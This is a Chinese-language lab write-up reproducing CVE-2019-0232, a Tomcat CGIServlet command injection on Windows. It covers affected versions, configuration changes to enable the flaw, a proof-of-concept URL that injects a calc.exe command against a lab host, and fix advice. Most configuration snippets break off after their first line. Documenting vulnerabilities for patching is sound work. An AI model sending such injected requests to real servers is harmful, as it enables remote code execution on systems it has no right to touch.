CVE-2019-0232-Apache-Tomcat-RCE
描述
该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。
该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。
影响版本
- Apache Tomcat 9.0.0.M1 to 9.0.17
- Apache Tomcat 8.5.0 to 8.5.39
- Apache Tomcat 7.0.0 to 7.0.93
环境搭建
jdk1.8.0_131
Tomcat: 9.0.13
下载地址:
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.13/bin/
jre环境变量设置
在tomcat的bin下面,找到setpath.bat,在其中添加以下内容后运行。
1 | set JAVA_HOME=C:\Program Files\Java\jdk1.8.0_131\ |


修改配置文件
conf/web.xml
Tomcat的CGI_Servlet组件默认关闭,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable。
1 | <servlet> |
1 | <servlet-mapping> |


conf/contet.xml
给conf/context.xml中的<Context>添加`privileged=true`属性,否则会没有权限。
1 | <Context privileged="true"> |

添加bat文件
在webapps\ROOT\WEB-INF下面创建cgi-bin文件夹,并在文件夹内创建一个bat文件。
1 | @echo off |

复现过程
1 | http://192.168.3.47:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe |

修复建议
1、禁用enableCmdLineArguments参数。
2、在conf/web.xml中覆写采用更严格的参数合法性检验规则。
3、升级tomcat到9.0.17以上版本。